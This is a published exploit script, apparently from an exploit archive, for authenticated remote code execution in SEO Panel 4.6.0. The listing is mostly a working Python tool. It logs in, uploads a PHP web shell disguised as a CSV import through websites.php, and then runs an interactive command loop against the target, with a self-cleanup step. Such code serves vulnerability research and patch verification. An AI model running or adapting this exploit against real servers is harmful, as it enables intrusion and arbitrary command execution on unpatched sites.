SEO Panel 4.6.0 Remote Code Execution

SEO Panel version 4.6.0 remote code execution exploit. Original discovery of code execution in this version is attributed to Daniel Monzon and Kiko Andreu in October of 2020.


MD5 | 2f04e3b36a0b97b2f762e8c3d014f7b6

# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2)
# Date: 22 Jan 2021
# Exploit Author: Kr0ff
# Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/
# Software Link: https://www.seopanel.org/spdownload/4.6.0
# Version: 4.6.0
# Tested on: Ubuntu 20.04

#!/usr/bin/env python3

'''
DESCRIPTION:
- SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload

FIXED:
- ver 4.7.0

AUTHOR:
- Kr0ff
'''
#https://asciiart.website/index.php?art=animals/bats

try:
import requests
import argparse
import sys
from termcolor import colored
from time import sleep
except ImportError as e:
print(colored("[ERROR]: ", "red"), f"{e}")

def arty():
artz = """
HAPPY HALLOWEEN !
....._
`. ``-. .-----.._
`, `-. .: /`
: `".. ..-`` :
/ ...--:::`n n.`::... :
`:`` .` :: / `. ``---..:.
`\ .` ._: .-: :: `. .-``
: : :_\\_/: : .:: `. /
: / \-../:/_.`-` \ :
:: _.._ q` p ` /` \|
:-` ``(_. ..-----hh``````/-._:
`: `` / `
E: /
: _/
: _..-``
l--``
----------------------------------------------------------
_
___ ___ ___ ___ __ ___ ___| |___ ___ ___
|_ -| -_| . | . ||. | | -_| | _| _| -_|
|___|___|___| _|___|_|_|___|_|_| |___|___|
|_| 4.6.0

@Kr0ff
----------------------------------------------------------
"""
print(artz)

#Initialize requests to create a session
r = requests.session()

#Create a login for the user
def login(TARGET, USER, PASS):
data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""}
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False)
if req.status_code == 200:
print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n")
else:
print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n")
print("Please check if you are providing the right path to 'seopanel' or if server is live...")
get_ch = req.headers.get("Set-Cookie")
return get_ch

#Upload the webshell to target server
def exploit(TARGET, USER, PASS):
login(TARGET, USER, PASS)
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n"
req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False)
if req0.status_code == 200:
print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
else:
print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
print("Please check if you are providing the right path or if server is live...")

while(1):
try:
p = input("$> ")
shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}"
control = r.get(shell_url, headers=headers, verify=False)
if control.status_code == 200:
print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n")
print(control.text)
else:
print(colored("[ERROR]","red"), "Shell not uploaded... :(")
print("Status code ->", colored(control.status_code, "red"))
sys.exit(0)
except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec
cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php"
requests.get(cleanup, headers=headers, verify=False)
sleep(1)
print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !")
break

#Initilize parser for arguments
def parse_argz():
parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload')
parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str)
parser.add_argument("-u", "--user", help="Username to login as", type=str)
parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str)
#args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided
args = parser.parse_args(args=None)

if not args.target or not args.user or not args.passwd:
parser.error(colored("[WARNING]","yellow"), "Not all arguments provided")
sys.exit(1)
else:
TARGET = str(args.target)
USER = str(args.user)
PASS = str(args.passwd)
exploit(TARGET, USER, PASS)

if __name__ == "__main__":
try:
arty()
parse_argz()
except Exception as e:
print(colored("[ERROR]","red"), f"-> {e}")
sys.exit(1)



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